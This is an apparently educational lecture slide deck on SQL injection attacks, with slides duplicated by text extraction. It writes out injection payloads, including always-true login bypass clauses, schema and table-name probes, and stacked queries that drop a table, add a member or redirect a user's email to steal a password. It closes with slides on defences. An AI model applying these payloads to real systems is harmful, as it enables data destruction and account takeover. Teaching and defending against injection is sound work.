Embed Size (px)
Citation preview
SQL Injection AttackModus operandi. . .
Sridhar.V.Iyer
Department of Computer & Informations Sciences
Syracuse University, Syracuse, NY-13210
SQL Injection Attack – p. 1
SQLWhat is SQL?
SQL Injection Attack – p. 2
SQLWhat is SQL?
Where is it used?
SQL Injection Attack – p. 2
SQLWhat is SQL?
Where is it used?
Why do we use it?
SQL Injection Attack – p. 2
Web Technologies
Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.
SQL Injection Attack – p. 3
Web Technologies
Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.
Web Servers: Apache, LightTPD, Yaws, Tux,IIS
SQL Injection Attack – p. 3
Web Technologies
Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.
Web Servers: Apache, LightTPD, Yaws, Tux,IIS
Databases: MySQL, PostgreSQL, Firebird,MSSQL server
SQL Injection Attack – p. 3
Web Technologies
Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.
Web Servers: Apache, LightTPD, Yaws, Tux,IIS
Databases: MySQL, PostgreSQL, Firebird,MSSQL server
Scripting Languages: Php, CGI/Perl,SmallTalk, ASP.NET
SQL Injection Attack – p. 3
Web Technologies
Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.
Web Servers: Apache, LightTPD, Yaws, Tux,IIS
Databases: MySQL, PostgreSQL, Firebird,MSSQL server
Scripting Languages: Php, CGI/Perl,SmallTalk, ASP.NET
Other Alternatives: J2EE/JSP etc.
SQL Injection Attack – p. 3
Modus Operandi...Steve Friedl’s way
Know your enemy
SQL Injection Attack – p. 4
Modus Operandi...Steve Friedl’s way
Know your enemy
Find his/her weakness
SQL Injection Attack – p. 4
Modus Operandi...Steve Friedl’s way
Know your enemy
Find his/her weakness
Attack his/her weakness
SQL Injection Attack – p. 4
Modus Operandi...Steve Friedl’s way
Know your enemy
Find his/her weakness
Attack his/her weakness
SQL Injection Attack – p. 4
Anatomy of theAttack
The constructed SQL should be like
SELECT list FROM table WHERE field=’$EMAIL’;
SQL Injection Attack – p. 5
Anatomy of theAttack
The constructed SQL should be like
SELECT list FROM table WHERE field=’$EMAIL’;
What if I give my own email and complete the
query for form?
SELECT list FROM table WHERE field=’[email protected]’’;
SQL Injection Attack – p. 5
Anatomy of theAttack
The constructed SQL should be like
SELECT list FROM table WHERE field=’$EMAIL’;
What if I give my own email and complete the
query for form?
SELECT list FROM table WHERE field=’[email protected]’’;
What is the output?
SQL Injection Attack – p. 5
Lets dig deeper. . .
Lets create a valid query
SELECT list FROM table WHERE field=’something’ or ’x’=’x’;
SQL Injection Attack – p. 6
Lets dig deeper. . .
Lets create a valid query
SELECT list FROM table WHERE field=’something’ or ’x’=’x’;
Result?Your login information has been mailed to
Dont recognize that email address
Server error!!
SQL Injection Attack – p. 6
Lets behaveourselves
Schema field mapping: Figure out the
tentative field list
SELECT list FROM table WHERE field=’x’ AND email IS NULL;–’;
SQL Injection Attack – p. 7
Lets behaveourselves
Schema field mapping: Figure out the
tentative field list
SELECT list FROM table WHERE field=’x’ AND email IS NULL;–’;
Find out as many fields as possible in a
similar fashion.
SQL Injection Attack – p. 7
Lets behaveourselves
Schema field mapping: Figure out the
tentative field list
SELECT list FROM table WHERE field=’x’ AND email IS NULL;–’;
Find out as many fields as possible in a
similar fashion.
Find out the table name. How?
SQL Injection Attack – p. 7
Lets behaveourselves
We can try the query SELECT COUNT(*) FROM tablename;
SELECT . . . email=’x’ AND 1=(SELECT COUNT(*) FROM tablename);–’;
SQL Injection Attack – p. 8
Lets behaveourselves
We can try the query SELECT COUNT(*) FROM tablename;
SELECT . . . email=’x’ AND 1=(SELECT COUNT(*) FROM tablename);–’;
Again educated guess is required. The sites
wont have cryptic table names.
SQL Injection Attack – p. 8
Lets behaveourselves
We can try the query SELECT COUNT(*) FROM tablename;
SELECT . . . email=’x’ AND 1=(SELECT COUNT(*) FROM tablename);–’;
Again educated guess is required. The sites
wont have cryptic table names.
Are we interested in this table?SELECT list FROM table WHERE field=’x’ AND members.email IS NULL;–’;
SQL Injection Attack – p. 8
If the databasewasn’t readonly??
Bazoooooka
SELECT . . . =’x’; DROP TABLE members;–’;
SQL Injection Attack – p. 9
If the databasewasn’t readonly??
Bazoooooka
SELECT . . . =’x’; DROP TABLE members;–’;
Add a new member
SELECT . . . =’x’; INSERT INTO members{. . . } VALUES {. . . };–’;
SQL Injection Attack – p. 9
If the databasewasn’t readonly??
Bazoooooka
SELECT . . . =’x’; DROP TABLE members;–’;
Add a new member
SELECT . . . =’x’; INSERT INTO members{. . . } VALUES {. . . };–’;
Mail me the passwordSELECT . . . =’x’; UPDATE members
SET [email protected] WHERE [email protected]’;
SQL Injection Attack – p. 9
Other MethodsUse xp_cmdshell: Something like Macro forMS Word
Map Database structure: Do more of the stuffwe already discussed for just one form
SQL Injection Attack – p. 10
Time for some actionhttp://128.230.212.170/apache2-default/login.php
SQL Injection Attack – p. 11
How not to do thewrong thing
Sanitize the Input
SQL Injection Attack – p. 12
How not to do thewrong thing
Sanitize the Input
Quotesafe the Input
SQL Injection Attack – p. 12
How not to do thewrong thing
Sanitize the Input
Quotesafe the Input
Use bounded parameters
SQL Injection Attack – p. 12
How not to do thewrong thing
Sanitize the Input
Quotesafe the Input
Use bounded parameters
Limit Database Permission and segregateusers
SQL Injection Attack – p. 12
How not to do thewrong thing
Sanitize the Input
Quotesafe the Input
Use bounded parameters
Limit Database Permission and segregateusers
Use Stored procedures for database access
SQL Injection Attack – p. 12
How not to do thewrong thing
Sanitize the Input
Quotesafe the Input
Use bounded parameters
Limit Database Permission and segregateusers
Use Stored procedures for database access
Isolate the Webserver
SQL Injection Attack – p. 12
How not to do thewrong thing
Sanitize the Input
Quotesafe the Input
Use bounded parameters
Limit Database Permission and segregateusers
Use Stored procedures for database access
Isolate the Webserver
Configure Error Reporting
SQL Injection Attack – p. 12
DISCLAIMERAny actual or imagined resemblance to ourfar more civilized world today is unintentionaland purely coincidental
The purpose of this presentation is purelyeducational
SQL Injection Attack – p. 13
Referencehttp://www.unixwiz.net/techtips/sql-injection.html
Php Manual.
MySQL Manual.
Google. . . ofcourse.
This site has been created using prosperpackage on LATEX
SQL Injection Attack – p. 14
ThanksQuestions?
SQL Injection Attack – p. 15
